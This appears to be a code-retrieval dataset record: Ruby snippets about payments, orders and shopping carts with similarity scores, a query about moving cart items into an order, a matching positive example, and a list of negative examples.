"def test_can_be_created\n currency = Currency.new(\"USD\", 1.0)\n\n assert_equal \"USD\", currency.currency_code\n assert_equal 1.0, currency.amount\n end",
"def test_user_invalidity\n order = orders(:invalid)\n assert !order.valid?\n assert order.invalid?(:name)\n assert order.invalid?(:street)\n assert order.invalid?(:zip)\n assert order.invalid?(:city)\n assert order.invalid?(:country)\n assert order.invalid?(:email)\n assert order.invalid?(:pay_type)\n end",
"def test_truth\n assert_kind_of Account, @account\n end",
"def is_manual?\n payment_kind == 'manual'\n end",
"def test_validate_fields\n ba = BillingAddress.new\n assert_equal [:name, :address1, :city, :state, :zip, :country, :phone, :email], ba.validate_fields\n end",
"def test_pay_monthly_fee__business\nbank_account = BankAccount.new(\"Chris\", 1000, \"business\")\nbank_account.pay_monthly_fee()\nassert_equal(950, bank_account.balance())\n\nend",
"def can_pay?\n\n can_pay_deposit? or can_pay_pending? or can_pay_total?\n\n end",
"def can_activate?\n self.authorize_payment\n end",
"def test_it_exists\n\n # Assert it is an instance of the CreditCheck class\n # On the left of the comma is the Expected value, and the right of the comma is the Actual value\n assert_instance_of CreditCheck, @credit_check\n end",
"def test_truth\n assert_kind_of Country, @country\n end",
"def paid_with_card?\n payment_type == \"card\"\n end",
"def assert_valid_options\n valid_options = {\n skip_gemfile: false,\n skip_bundle: false,\n skip_git: false,\n skip_system_test: false,\n skip_test: false,\n skip_test_unit: false,\n edge: false\n }\n valid_options.each do |key, expected|\n next unless options.key?(key)\n actual = options[key]\n unless actual == expected\n fail Rails::Generators::Error, \"Unsupported option: #{key}=#{actual}\"\n end\n end\nend",
"def assert_valid_options\n valid_options = {\n skip_gemfile: false,\n skip_bundle: false,\n skip_git: false,\n skip_system_test: false,\n # skip_test: false,\n # skip_test_unit: false,\n edge: false\n }\n valid_options.each do |key, expected|\n next unless options.key?(key)\n actual = options[key]\n unless actual == expected\n fail Rails::Generators::Error, \"Unsupported option: #{key}=#{actual}\"\n end\n end\nend",
"def test?\n OffsitePayments.mode == :test\n end",
"def test_transaction(type)\n amount = case type\n when :success then 100\n when :cancelled then 200\n when :expired then 300\n when :open then 400\n when :failure then 500\n when :server_error then 700\n end\n\n response = @gateway.setup_purchase(amount, @valid_options)\n assert response.success?\n response\n end",
"def test_requiring_credit_card_for_pay_plan\n subscription = Factory.build(:free_subscription, :subscription_plan => Factory(:paid_plan), :credit_card => nil)\n subscription.valid?\n\n assert subscription.errors.on(:credit_card)\n end",
"def assert_valid_options\n valid_options = {\n :skip_gemfile => false,\n :skip_bundle => false,\n :skip_git => false,\n :skip_test_unit => false,\n :edge => false\n }\n valid_options.each do |key, expected|\n next unless options.key?(key)\n actual = options[key]\n unless actual == expected\n fail Rails::Generators::Error, \"Unsupported option: #{key}=#{actual}\"\n end\n end\nend",
"def test_should_finish_order_with_authorize\n # Execute an earlier test as this one deppends on it.\n test_should_set_shipping_method_without_confirmation\n \n order = Order.find(session[:order_id])\n\n # Now we say that we will use authorize. Mock the method.\n assert Preference.save_settings({ \"cc_processor\" => \"Authorize.net\" })\n Order.any_instance.expects(:run_transaction_authorize).once.returns(true)\n \n # Save initial quantity\n oli = assigns(:order).order_line_items.first\n initial_quantity = oli.item.quantity\n\n # Post to the finish order action.\n post :finish_order\n assert_response :success\n assert_select \"p\", :text => /Card processed successfully/\n \n # Ensure items still in order\n assert !order.empty?, \"Order items were emptied when they shouldn't be.\"\n \n # Ensure customer has been logged in, so they may download their files\n assert_not_nil session[:customer], \"Customer was not logged in after successful purchase.\"\n end",
"def payment_class\n raise NotImplementedError\n end",
"def assertions; end",
"def assertions; end",
"def valid_payment_method?\n raise PaymentMethodException, \"User has not added a payment method. Please add a valid payment method.\" if braintree_id.nil?\n @customer = get_braintree_customer\n # Check if customer has any payment_method\n raise PaymentMethodException, 'Braintree customer account created, but no payment added. Please add a valid payment method.' if @customer.payment_methods.empty?\n return true\n end",
"def test_respond_to\r\n\r\n assert_respond_to @storage, :add\r\n assert_respond_to @storage, :contains?\r\n assert_respond_to @storage, :find\r\n\r\n end",
"def expected_method; end",
"def test_should_get_foreign\n OrderShippingType.get_foreign\n assert_equal [order_shipping_types(:ups_worldwide)], OrderShippingType.get_foreign\n end",
"def initialize(order, account, options = {})\n super\n\n if OffsitePayments.mode == :test || options[:test]\n test_mode = case options[:test]\n when :always_fail\n 101\n when false\n 0\n else\n 100\n end\n add_field('testMode', test_mode.to_s)\n elsif OffsitePayments.mode == :always_succeed\n add_field('testMode', '100')\n elsif OffsitePayments.mode == :always_fail\n add_field('testMode', '101')\n end\n end",
"def test_added_methods\r\n assert_respond_to @default_user, :roles\r\n assert_respond_to @default_user, :has_role?\r\n \r\n assert_respond_to @default_user, :permissions\r\n assert_respond_to @default_user, :has_static_permission?\r\n end",
"def assert_valid_options\n valid_options = {\n skip_gemfile: false,\n skip_git: false,\n skip_test_unit: false,\n edge: false\n }\n valid_options.each do |key, expected|\n next unless options.key?(key)\n actual = options[key]\n unless actual == expected\n fail Rails::Generators::Error, \"Unsupported option: #{key}=#{actual}\"\n end\n end\nend",
"def test_acknowledgement\n assert @cybersource_secure_acceptance.acknowledge\n end",
"def can_supply?\n payment_received? || payment_on_account?\n end",
"def validate_settings\n raise \"method test has no module or class context\" unless @context\n raise \"#{@target} is not a method name\" unless Symbol === @target\n end",
"def test_successful_purchase_with_solo_card\n response = @gateway.purchase(@amount, @solo, @params)\n assert_success response\n assert response.test?\n end",
"def test_truth\n assert_kind_of OrderAddress, order_addresses(:first)\n end",
"def test_mode\n FlexCommerceApi.config.order_test_mode == true || FlexCommerceApi.config.order_test_mode == \"true\"\n end",
"def test_firewall_service_enabled\n assert true\n end",
"def test_operator_array\n assert_equal(OPERATORS, RomanMathmaticalOperation::OPERATORS)\n assert_not_equal(WRONG_OPERATORS, RomanMathmaticalOperation::OPERATORS )\n end",
"def test_acknowledgement \n assert @rbk_money.acknowledge\n end",
"def cheque?\n (payment_method == CHEQUE)\n end",
"def valid?\n payment_method_validator = EnumAttributeValidator.new('String', [\"Cheque\", \"Electronically\", \"Manual\"])\n return false unless payment_method_validator.valid?(@payment_method)\n true\n end",
"def rbenchmarker_validation_check(options)\n raise Rbenchmarker::TargetFilePathError if options[:all] && !options[:all].is_a?(String)\n raise Rbenchmarker::TargetFilePathError if options[:all] && !File.file?(options[:all])\n raise Rbenchmarker::OnlyMethodDesignationError if options[:only] && !options[:only].is_a?(Array)\n raise Rbenchmarker::OnlyMethodDesignationError if options[:only] && !options[:only].all? do |method_name|\n method_name.is_a?(String) || method_name.is_a?(Symbol)\n end\n raise Rbenchmarker::ExceptMethodDesignationError if options[:except] && !options[:except].is_a?(Array)\n raise Rbenchmarker::ExceptMethodDesignationError if options[:except] && !options[:except].all? do |method_name|\n method_name.is_a?(String) || method_name.is_a?(Symbol)\n end\n raise Rbenchmarker::AddedMethodDesignationError if options[:added] && !options[:added].is_a?(Array)\n raise Rbenchmarker::AddedMethodDesignationError if options[:added] && !options[:added].all? do |method_name|\n method_name.is_a?(String) || method_name.is_a?(Symbol)\n end\n raise Rbenchmarker::PrependModuleDesignationError if options[:prepend] && !options[:prepend].is_a?(Array)\n raise Rbenchmarker::PrependModuleDesignationError if options[:prepend] && !options[:prepend].all? do |obj|\n obj.class.to_s == 'Module'\n end\n raise Rbenchmarker::IncludeModuleDesignationError if options[:include] && !options[:include].is_a?(Array)\n raise Rbenchmarker::IncludeModuleDesignationError if options[:include] && !options[:include].all? do |obj|\n obj.class.to_s == 'Module'\n end\n raise Rbenchmarker::ExtendModuleDesignationError if options[:extend] && !options[:extend].is_a?(Array)\n raise Rbenchmarker::ExtendModuleDesignationError if options[:extend] && !options[:extend].all? do |obj|\n obj.class.to_s == 'Module'\n end\n end",
"def supported?\n CurrencyExchangeRate.supported?(self)\n end",
"def test_purchase_and_non_referenced_credit\n assert credit = @gateway.credit(100, @credit_card, @options)\n assert_success credit\n end",
"def credit?\n (payment_method == CREDIT)\n end",
"def currency_should_be_in_supported\n self.errors.add(:currency, 'exchange rate can not be found and is not supported') if self.currency.present? && !Currency.exists?(:iso_code => self.currency)\n end",
"def test_magic_ball_methods\n magic_ball = Predictor.new\n assert_respond_to magic_ball, :ask\n assert_respond_to magic_ball, :shake\n refute_respond_to magic_ball, :roll\n end",
"def test_secure_setup\n customer = customers(:bob)\n \n credit_card_params = {\n :number => \"4111111111111111\",\n :last_four => \"1111\",\n :month => \"1\",\n :year => (Date.today.year + 2).to_s,\n }\n\n cc = CreditCard.secure_setup(credit_card_params, customer)\n assert cc.original_valid?\n end",
"def test_say_if_is_discounted\n setup_new_order_with_items()\n promo = promotions(:percent_rebate)\n \n assert !@order.is_discounted?\n @order.promotion_code = promo.code\n assert @order.is_discounted?\n end",
"def test_truth\n end",
"def has_advanced_comparisons?\n patron?(tier: 3, before: STRIPE_MIGRATION_DATE) || patron?(tier: 4) || subscriptions.tier2.active.any? || admin? || self.class.stay_insideathon?\n end",
"def test_truth\r\n assert_kind_of Invitation, @invitation\r\n end",
"def test_truth\r\n assert_kind_of Binary, @binary\r\n end",
"def verify?; raise NotImplementedError; end",
"def test_truth\n assert_kind_of Standard, @standard\n end",
"def test_any_chance_of_working \n assert_equal(true, credit_cards(:cc_no_statuses_live).any_chance_of_working?)\n assert_equal(true, credit_cards(:cc_no_statuses_live).any_chance_of_working?(true))\n\n assert_equal(false, credit_cards(:cc_no_statuses_expired).any_chance_of_working?)\n assert_equal(true, credit_cards(:cc_no_statuses_expired).any_chance_of_working?(true))\n\n assert_equal(false, credit_cards(:cc_one_status_expired).any_chance_of_working?)\n assert_equal(true, credit_cards(:cc_one_status_expired).any_chance_of_working?(true))\n\n assert_equal(false, credit_cards(:cc_one_status_expired).any_chance_of_working?)\n assert_equal(true, credit_cards(:cc_one_status_expired).any_chance_of_working?(true))\n\n assert_equal(true, credit_cards(:cc_one_status_gateway).any_chance_of_working?)\n assert_equal(true, credit_cards(:cc_one_status_gateway).any_chance_of_working?(true))\n\n assert_equal(false, credit_cards(:cc_one_status_addrnomatch).any_chance_of_working?)\n assert_equal(false, credit_cards(:cc_one_status_addrnomatch).any_chance_of_working?(true))\n \n end",
"def test_truth\n assert_kind_of PosDailyReceipt, pos_daily_receipts(:first)\n end",
"def payments_in_use?\n payment_gateway.present? && payment_gateway.configured?\n end",
"def test_check_purchase_and_credit_not_settled\n assert purchase = @gateway.purchase(@amount, @check, @options)\n assert_success purchase\n assert_equal 'Approved', purchase.message\n assert credit = @gateway.credit(@amount, purchase.authorization, @check, @options)\n assert_failure credit\n assert_equal 'CREDIT CANNOT BE COMPLETED ON A UNSETTLED TRANSACTION', credit.message\n end",
"def test_code2(flight_planner_instance)\n puts flight_planner_instance.can_i_fly?(\"MIA\", \"LAX\") == false\n puts flight_planner_instance.can_i_fly?(\"PHX\", \"LAX\") == true\nend",
"def test_respond_to\n assert_respond_to system_wide, :role\n assert_respond_to system_wide, :role=\n assert_respond_to system_wide, :inspect\n assert_respond_to system_wide, :object_id\n end",
"def test_truth\n assert_kind_of Choice, @choice\n end",
"def allowed?() raise NotImplementedError end",
"def test_should_verify_if_is_true\n a_preference = preferences(:store_use_inventory_control)\n assert a_preference.is_true?\n\n a_preference = preferences(:store_require_login)\n assert !a_preference.is_true?\n end",
"def test_checks_customer_is_too_drunk__true\n assert_equal(true, @pub1.customer_is_too_drunk(@customer3))\n end",
"def test_truth\n assert_kind_of Obra, obras(:first)\n end",
"def dont_test_not_create_invalid_order\n# # TODO: By now theres no way to make an order invalid, it accepts any blank values and saves it.\n# an_order = Order.new\n# assert !an_order.valid?\n# assert an_order.errors.invalid?(:order_number)\n# # An order must have a number.\n# assert_equal \"can't be blank\", an_order.errors.on(:order_number)\n# assert !an_order.save\n end",
"def test_successful_purchase_with_solo_card\n response = @gateway.purchase(@amount, @solo, @params)\n assert_success response\n end",
"def recurring_supported?\n return !self.recurrent? && [Buckaruby::PaymentMethod::IDEAL, Buckaruby::PaymentMethod::IDEAL_PROCESSING, Buckaruby::PaymentMethod::VISA, Buckaruby::PaymentMethod::MASTER_CARD, Buckaruby::PaymentMethod::MAESTRO, Buckaruby::PaymentMethod::SEPA_DIRECT_DEBIT, Buckaruby::PaymentMethod::PAYPAL].include?(self.payment_method)\n end",
"def test_get_shipping_prices\n # Test a national shipping order.\n assert_same_elements @order.get_shipping_prices, OrderShippingType.get_domestic\n \n # Turn it into an international one and test.\n an_address = order_addresses(:santa_address)\n an_address.country = countries(:GB)\n an_address.save\n @order.reload\n assert_same_elements @order.get_shipping_prices, OrderShippingType.get_foreign\n \n # Now we say that we are in that same other country.\n prefs = {\n \"store_home_country\" => countries(:GB).id\n }\n assert Preference.save_settings(prefs)\n \n # And that same shipment should be national now.\n assert_same_elements @order.get_shipping_prices, OrderShippingType.get_domestic\n end",
"def test_set_method_types\n end",
"def valid?\n return false if @payment_amount.nil?\n return false if @payment_amount > 99999999.99\n return false if @payment_amount < 0\n return false if @payer.nil?\n payment_format_validator = EnumAttributeValidator.new('String', ['CCD', 'CCP', 'CTX', 'PPD', 'PPP', 'TEL', 'WEB'])\n return false unless payment_format_validator.valid?(@payment_format)\n return false if !@payment_currency.nil? && @payment_currency.to_s.length > 3\n return false if !@payment_currency.nil? && @payment_currency.to_s.length < 3\n return false if @payee.nil?\n return false if @payment_id.nil?\n return false if @payment_id.to_s.length > 15\n return false if @payment_id.to_s.length < 1\n return false if !@payment_description.nil? && @payment_description.to_s.length > 80\n return false if !@payment_description.nil? && @payment_description.to_s.length < 1\n return false if @debit_credit_indicator.nil?\n debit_credit_indicator_validator = EnumAttributeValidator.new('String', ['C', 'D'])\n return false unless debit_credit_indicator_validator.valid?(@debit_credit_indicator)\n return false if @payment_method.nil?\n return false if @payment_method.to_s.length > 35\n return false if @payment_method.to_s.length < 1\n true\n end",
"def check_for_eligible_of_free_shipping(order)\n if order > 100\n return true\n else\n return false\n end\nend",
"def test_get_cc_processor\n # TODO: Should this method really be here?\n assert_equal Order.get_cc_processor, Preference.find_by_name('cc_processor').value.to_s\n end",
"def currency_required? \n deposit_type?\n end",
"def valid?\n p = build_payment\n p.valid?\n end",
"def test_option_required\n\n # All options are optional by default\n assert(!Option.new(nil, nil).required)\n assert(!Option.new(\"-h|--help\", nil).required)\n\n # All options may be required\n assert(Option.new(nil, nil, required:true).required)\n assert(Option.new(\"-h|--help\", nil, required:true).required)\n end"
] | [
"0.70499545",
"0.66000605",
"0.64924544",
"0.6319708",
"0.61460257",
"0.60762995",
"0.6074552",
"0.6065832",
"0.6061662",
"0.60379314",
"0.6027517",
"0.6002721",
"0.5998954",
"0.5948669",
"0.59360826",
"0.59312356",
"0.5897744",
"0.58919054",
"0.5885787",
"0.5880696",
"0.5867975",
"0.585479",
"0.5837198",
"0.58341396",
"0.58298373",
"0.5824276",
"0.5797396",
"0.5796898",
"0.57851243",
"0.57615143",
"0.57556754",
"0.5749046",
"0.5735067",
"0.5696376",
"0.5696176",
"0.5676552",
"0.5670005",
"0.56680703",
"0.56614053",
"0.5643813",
"0.5638646",
"0.5637296",
"0.56343865",
"0.56340986",
"0.56334674",
"0.56334674",
"0.5623409",
"0.56172097",
"0.561643",
"0.56096655",
"0.5608243",
"0.5598248",
"0.5595007",
"0.55922484",
"0.55852014",
"0.55816704",
"0.55751336",
"0.5574522",
"0.5571467",
"0.557004",
"0.55687875",
"0.5566622",
"0.5564326",
"0.5559646",
"0.5554621",
"0.55384254",
"0.5537565",
"0.5530587",
"0.55296445",
"0.5526313",
"0.55248535",
"0.5523864",
"0.55214804",
"0.5516994",
"0.55148286",
"0.55099314",
"0.55086434",
"0.55055124",
"0.5497694",
"0.54976684",
"0.54976314",
"0.5496665",
"0.5495466",
"0.5491914",
"0.54906803",
"0.54856247",
"0.5474647",
"0.54673773",
"0.54671115",
"0.5462465",
"0.5461663",
"0.54544306",
"0.5443142",
"0.5440696",
"0.54355425",
"0.543174",
"0.5429877",
"0.5425723",
"0.54246014",
"0.5424491"
] | 0.54979056 | 78 |
def add_items_from_cart(cart) cart.items.each do |item| item.cart_id = nil items << item end end | def add_sellers_items_from_cart(items, seller)
sellers_items = items.select {|item| item.product.user_id == seller}
sellers_items.each do |item|
item.cart_id = nil
items << item
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def add_items_from_cart(cart)\n\t\tcart.line_items.each do |item|\n\t\t\titem.cart_id = nil\n\t\t\tline_items << item\n\t\tend\n\tend",
"def add_line_items_from_cart(cart)\n cart.line_items.each do |item|\n\t item.cart_id = nil\n \t line_items << item\n end\n end",
"def add_line_items_from_cart(cart)\n \tcart.line_items.each do |item|\n \t\titem.cart_id = nil\n \t\tline_items << item\n \tend \t\n end",
"def add_line_items_from_cart(cart)\n cart.line_items.each do |item|\n item.cart_id = nil\n line_items << item\n end\n end",
"def add_line_items_from_cart(cart)\n cart.line_items.each do |item|\n item.cart_id = nil\n line_items << item\n end\n end",
"def add_line_items_from_cart(cart)\n cart.line_items.each do |item|\n item.cart_id = nil\n line_items << item\n end\n end",
"def add_line_items_from_cart(cart)\n cart.line_items.each do |item|\n item.cart_id = nil\n line_items << item\n end\n end",
"def add_shop_items_from_user_cart(shop_cart)\n shop_cart.shop_items.each do |si|\n si.shop_cart_id = nil\n shop_items << si\n end\n end",
"def add_line_items_from_cart(cart)\n cart.line_items.each do |item|\n item.cart_id = nil\n line_items << item\n end\n end",
"def add_line_items_from_cart(cart)\n cart.line_items.each do |item|\n # remove the cart id\n item.cart_id = nil\n # add the order line items\n line_items << item\n end\n\n end",
"def add_line_items_from_cart(cart)\n\t\tcart.line_items.each do |item|\n\t\t\titem.cart_id = nil\n\t\t\tline_items << item\n\t\tend\n\tend",
"def add_line_items_from_cart(cart)\n #for each lineitem added to the cart we remove the cart id and add to the order (loop)\n cart.line_items.each do |item|\n item.cart_id = nil\n line_items << item\n end\n end",
"def add_line_items_from(cart)\n\t\tcart.line_items.each do |item| \n\t\t\titem.cart_id = nil \n\t\t\tline_items << item \n\t\tend\n\tend",
"def add_item_to_cart(item_id)\n cart << item_id\n end",
"def add_items_from_cart(cart)\n cart.order_items.all.each do |item|\n #self refers to the individual order\n self.order_items.new(product: item.product, quantity: item.quantity)\n end\n end",
"def add_items_to_cart(cart)\n cart.cart_items.each do |item|\n @command.shopping_cart.create_item do |i|\n i.name = item.name\n i.description = \"\"\n i.unit_price = Money.new(item.product_price * 100, \"USD\")\n i.quantity = item.quantity\n end\n end\n end",
"def add_line_items_from_cart(cart)\n cart.line_items.each do |item|\n item.cart_id = nil\n order_item = OrderLineItem.new(quantity: item.quantity,\n price: item.price,\n discount: item.discount,\n product_id: item.product_id)\n order_line_items << order_item\n end\n end",
"def add_items_from_cart(cart)\n cart.line_items.each do |item|\n self.line_items << item if item.sufficient_stock?\n end\n end",
"def add_line_items_from_cart(cart)\n cart.items.each do |item|\n li = LineItem.from_cart_item(item)# \"from_cart_item(item)\" is a method? to get the item from cart, store in li #\n line_items << li # appends the li stuff to line_items?\n end\n\n\n end",
"def add_cart_item\n current_cart.cart_items.new\n end",
"def add!(items)\n\t\t\tcart = Cart.perform_request Cart.api_url(\"carts/#{self.id}\", {}), :patch,\n\t\t\t\t{ op: \"add\",\n\t\t\t\t\titems: items.map { |item| { product_id: item[:product_id], quantity: item[:quantity], variant_id: item[:variant_id] }\n\t\t\t\t}}, true\n\n\t\t\tif cart\n\t\t\t\tself.items = cart[\"data\"][\"items\"]\n\t\t\telse\n\t\t\t\tfalse\n\t\t\tend\n\t\tend",
"def use_cart(cart)\n cart.cart_items.each do |cart_item|\n order_items.build(item_id: cart_item.item.id, price: cart_item.item.send(item_price_method_name), quantity: cart_item.quantity) if cart_item.quantity.to_i > 0\n end\n end",
"def add_line_items_from_cart(cart)\n\t\tcart.items.each do |item|\n\t\t\t#li = LineItem.from_cart_item(item)\n\t\t\t#li.quantity.times{line_items << li}\n\t\t\titem.quantity.times{line_items << LineItem.new( :price => item.price,\n \t\t\t\t\t\t\t\t\t\t\t\t\t :product_id => item.product_id)}\n\t\t\t#LineItem.new(:order_id => order_id, :product_id => li.product_id )\n\t\tend\n\t\tlogger.info line_items.inspect + \"These are the line items\"\n\t\t#line_items\n\tend",
"def add_cart(cart)\n \tif cart.items.empty?\n\t\t\terrors.add(:cart, 'is empty. Cannot save.')\n \telse\n \t\tself.carts.push(cart)\n \tend\n end",
"def process_cart_items()\n \torder = self.customer.orders.create\n \tself.cart_items.each do |item|\n \t\torder.order_items.create :product_id => item.product_id\n \tend\n \tself.cart_items = [] #clear the cart\n \treturn order\n end",
"def add(items)\n\t\t\tcart = Cart.perform_request Cart.api_url(\"carts/#{self.id}\", {}), :patch,\n\t\t\t\t{ op: \"add\",\n\t\t\t\t\titems: items.map { |item| { product_id: item[:product_id], quantity: item[:quantity], variant_id: item[:variant_id] }\n\t\t\t\t}}, true\n\n\t\t\tif cart\n\t\t\t\tCart.new(cart[\"data\"])\n\t\t\telse\n\t\t\t\tfalse\n\t\t\tend\n\t\tend",
"def add_to_cart\n cart_op do |cart|\n if params[:id].class == Array\n params[:id].collect!(&:to_i)\n params[:id].delete_if {|id| cart.include?(id) }\n cart = cart + params[:id]\n else\n cart << params[:id].to_i if not params[:id].blank? and not get_cart.find {|i| i == params[:id].to_i }\n end\n cart\n end\n render_cart_size\n end",
"def add_cart(cart)\n @cart = cart\n end",
"def add_to_cart\n @shopping_cart = ShoppingCart.find_by_user_id(current_user.id)\n if @shopping_cart.nil?\n @shopping_cart = ShoppingCart.new({:user_id => current_user.id, :item_list => Hash.new.to_s})\n end\n if params[:item_id].nil?\n @item = Item.find(params[:item][:item_id])\n if current_user.id == @item.user_id\n redirect_to root_path\n else\n @shopping_cart.item_list = add_to_item_list(@shopping_cart.item_list, params[:item][:item_id], params[:item][:quantity], @item.quantity)\n @shopping_cart.save\n redirect_to @shopping_cart\n end\n else\n @item = Item.find(params[:item_id])\n if current_user.id == @item.user_id\n redirect_to root_path\n else\n @shopping_cart.item_list = add_to_item_list(@shopping_cart.item_list, params[:item_id], params[:quantity], @item.quantity)\n @shopping_cart.save\n redirect_to @shopping_cart\n end\n end\n end",
"def add_to_cart\n id = params[:id].to_i\n\n is_in_cart = false\n\n session[:cart].delete(1)\n session[:cart].each do |ct|\n if defined?(ct['id'])\n Product.find(ct['id'].to_i)\n if ct['id'].to_i == id\n\n is_in_cart = true\n ct['quantity'] = ct['quantity'].to_i + 1\n end\n end\n end\n\n if !is_in_cart\n cart_item = {\n id: id,\n quantity: 1\n }\n session[:cart] << cart_item\n end\n redirect_to request.referrer\n end",
"def addtocart\n\t\tinsidecart<< createproduct\n\t\taddtocart\n\tend",
"def add_item(item, price, quantity = 1)\n self.total += price * quantity\n self.last_item = price\n self.last_quantity = quantity\n\n counter = 0\n while counter < quantity\n self.cart << item\n counter += 1\n end\n self.cart\n end",
"def associate_cart_line_items(the_cart)\n the_cart.line_items.each do |a_line_item|\n a_line_item.order_id = self.id\n a_line_item.save\n #self.line_items << a_line_item # LineItem row is saved, with our order_id\n end\n the_cart.order_id = self.id\n the_cart.save\n #self.save\n end",
"def current_cart=(current_cart)# <- This may work\n self.carts << current_cart\n end",
"def add_item_to_basket(item_id)\n @session[:item_basket] << item_id unless @session[:item_basket].include? item_id\n end",
"def transfer cart\n \t\tself.order_items.destroy_all\n \t\tcart.cart_items.each do |item|\n \t\t\t@order_item = order_items.build(price: item.price, quantity: item.quantity, sku_id: item.sku_id, weight: item.weight, order_id: id)\n \t\t\t@order_item.build_order_item_accessory(accessory_id: item.cart_item_accessory.accessory_id, price: item.cart_item_accessory.price, quantity: item.cart_item_accessory.quantity) unless item.cart_item_accessory.nil?\n \t\t\t@order_item.save!\n \t\tend\n \tend",
"def add_to_cart\n session[:item_list] ? session[:item_list] << @product.id : session[:item_list] = [@product.id]\n respond_to do |format|\n format.html { redirect_to products_url, notice: 'Product added to cart!' }\n format.json { head :no_content }\n end\n end",
"def consolidate_cart(cart)\n new_cart = []\n count = 0\n while count < cart.length\n new_cart_item = find_item_by_name_in_collection(cart[count][:item], new_cart)\n if new_cart_item != nil\n new_cart_item[:count] += 1\n else\n new_cart_item = {\n :item => cart[count][:item], \n :price => cart[count][:price],\n :clearance => cart[count][:clearance],\n :count => 1\n }\n new_cart << new_cart_item\n end\n count += 1\n end\n new_cart\nend",
"def add_cart\n\t\tcart = Cart.create()\n\t\tCart.find(params[:cart]).items.each do |item|\n\t\t\tcart.items.push(item)\n\t\tend\n\t\tcurrent_user.saved.add_cart(cart)\n\t\tif current_user.saved.errors.empty?\n\t\t\tredirect_to saved_path, :notice => \"Cart saved\"\n\t\telse\n\t\t\tredirect_to :back, :notice => current_user.saved.errors.full_messages().last\n\t\tend\n\tend",
"def remove_items_from_cart\n line_items.each { |i| i.cart = nil }\n end",
"def consolidate_cart(cart:[])\n add_item_counts(cart:cart)\n remove_duplicates(cart:cart)\n cart.inject({}) { |hash, cart_item| hash.merge(cart_item) }\nend",
"def prepare_cart_items(variant_id)\n self.update_attributes(variant_id: variant_id, quantity: 1)\n end",
"def add_to_cart\n \tif session[\"cart\"].nil?\n \t\tsession[\"cart\"] = []\n \tend\n \t#So luong cua san pham add vao gio hang\n \tquantity_ = 1\n \tsession[\"item\"] = {:id => params[:id].to_i, :name => params[:name], :quantity => quantity_.to_i, :price => params[:price].to_i, :total => quantity_.to_i * params[:price].to_i}\n \tcheck_cart session[\"item\"]\n \tredirect_to :back\n end",
"def create\n # Add params[:id] to cart\n # logger.debug(\"Adding #{params[:id]} to the cart----------------------------------------\")\n id = params[:id].to_i\n\n existing_item = session[:shopping_cart].map { |item| item[\"id\"] }\n\n unless existing_item.include?(id)\n item = { id: id, quantity: 1 }\n session[:shopping_cart] << item\n\n end\n redirect_to root_path\n end",
"def consolidate_cart(cart)\n \n new_cart = []\n index = 0\n\n while index < cart.count do\n new_cart_item = find_item_by_name_in_collection(cart[index][:item], new_cart)\n if new_cart_item\n new_cart_item[:count] += 1\n else\n new_cart_item = {\n :item => cart[index][:item],\n :price => cart[index][:price],\n :clearance => cart[index][:clearance],\n :count => 1\n }\n new_cart << new_cart_item\n end\n\n index += 1\n end\n \n return new_cart\nend",
"def add_to_cart(client_id, product_id, quantity)\n # Get the clients cart\n cart = Cart.find(client_id)\n \n # Add a new cart_item to the cart with product_id and quantity\n cart.cart_items.create(product_id: product_id, quantity: quantity)\n end",
"def create\n # grabbing cart from application controller current_cart method\n @cart = current_cart\n # session[:cart_id] = @cart.id\n # individual product items get added to cart item and added to cart and saved\n @cart_item = @cart.cart_items.build(cart_item_params)\n @cart.save\n end",
"def add_item (title, price, quantity = 1)\n # adds purchase price to total\n @total += price * quantity\n # Adds proper quanity of item to cart\n count = 0\n while count < quantity\n @items << title\n count += 1\n end\n # keeps track of last_added item\n @last_transaction[:item] = title\n @last_transaction[:price] = price\n @last_transaction[:quantity] = quantity\n\n end",
"def add_to_cart\n @cart = current_user.carts.find_or_create_by(completed: false)\n @line_item = @cart.line_items.find_or_create_by(product_id: params[:product_id])\n @line_item.update quantity: @line_item.quantity + 1\n end",
"def add_to_cart(product)\n @products << product\n @sub_total += product.base_price\n @total_price += product.total_price\n puts \"Added to cart!\"\n end",
"def check_cart item\n \tcheck = false\n \t#Doc tat ca san pham trong cart session\n \tsession[\"cart\"].each do |x|\n \t\t#So sanh ID product voi ID product trong gio hang\n \t\tif x['id'] == item[:id]\n \t\t\tx['quantity'] = x['quantity'] + 1\n \t\t\tx['total'] = x['price'] * x['quantity']\n \t\t\treturn\n \t\tend\n \tend\n \tsession[\"cart\"].push(item)\n end",
"def consolidate_cart(cart)\n # Consult README for inputs and outputs\n #\n # REMEMBER: This returns a new Array that represents the cart. Don't merely\n # change `cart` (i.e. mutate) it. It's easier to return a new thing.\n new_cart = []\n counter = 0\n\n while counter < cart.length\n new_item = find_item_by_name_in_collection(cart[counter][:item], new_cart)\n if new_item != nil\n new_item[:count] += 1\n else\n new_item = {\n :item => cart[counter][:item],\n :price => cart[counter][:price],\n :clearance => cart[counter][:clearance],\n :count => 1\n }\n new_cart << new_item #shoving the new hash into new array\n end\n counter += 1\n end\n\n new_cart\nend",
"def empty_cart\n self.each do |item|\n item.cart_id = nil\n item.save!\n end\n end",
"def transfer_order_items_from_previous_session\n if session[:cart_id].present? && Cart.find_by(id: session[:cart_id]).order_items.present?\n \n @cart = Cart.first_or_create(user_id: current_user.id)\n \n #we iterate through order_items of the cart which was in previous session, \n #and we add order items to our current_user cart (if order_item is present \n #in current_user cart then we update quantity of that order_item)\n #debugger\n Cart.find_by(id: session[:cart_id]).order_items.each do |order_item|\n if @cart.order_items.find_by(product_id: order_item.product_id).present?\n\n @cart.order_items.find_by(product_id: order_item.product_id).update_attributes(quantity: @cart.order_items.find_by(product_id: order_item.product_id).quantity + order_item.quantity)\n \n else\n \n order_item.update_attributes(cart_id: @cart.id)\n end \n end\n session[:cart_id] = @cart.id\n end\n end",
"def add_item(line_item_from_cart)\n current_item = cart.line_items.find_by(line_item_id: line_item.id)\n\n if current_item\n current_item = cart.line_items.find_by(line_item_id: line_item.id)\n else\n current_item = cart.line_items.find_by(line_item_id: line_item.id)\n end\n\n current_item\n end",
"def create\n session[:cart_id] = @cart.id\n @cart.line_items.create(cart_params[:line_items_attributes])\n end",
"def add_item\n prod_id = params[:product_id].to_s\n unless Product.find(prod_id).nil?\n item = cart[prod_id] || {\"Num\" => 0}\n item[\"Num\"] += 1\n cart[prod_id] = item\n update_cart cart\n flash[:success] = t('itm_added')\n redirect_back fallback_location: :root\n end\n end",
